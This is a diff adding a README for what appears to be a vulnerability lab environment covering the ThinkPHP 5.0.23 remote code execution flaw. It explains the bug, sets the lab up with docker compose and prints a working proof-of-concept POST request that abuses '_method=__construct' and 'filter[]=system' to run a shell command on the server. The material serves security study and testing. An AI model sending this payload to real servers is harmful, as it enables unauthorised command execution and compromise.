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thinkphp/5.0.23-rce/README.md

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+# ThinkPHP5 5.0.23 Remote Code Execution Vulnerability
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+ThinkPHP is an extremely widely used PHP development framework in China. In its version 5.0(<5.0.24), while obtaining the request method, the framework processes it incorrectly, which allows an attacker to call any method of the Request class, resulting in a RCE vulnerability through a specific exploit chain.
+
+References：
+
+- https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003
+
+## Environment Setup
+
+Enter the following command：(ThinkPHP version: 5.0.23)
+
+```
+docker compose up -d
+```
+
+Visit `http://your-ip:8080` and you'll see the default page of ThinkPHP.
+
+## POC
+
+Send the packets and execute the command `id`:
+
+```
+POST /index.php?s=captcha HTTP/1.1
+Host: localhost
+Accept-Encoding: gzip, deflate
+Accept: */*
+Accept-Language: en
+User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
+Connection: close
+Content-Type: application/x-www-form-urlencoded
+Content-Length: 72
+
+_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
+```
+
+![](1.png)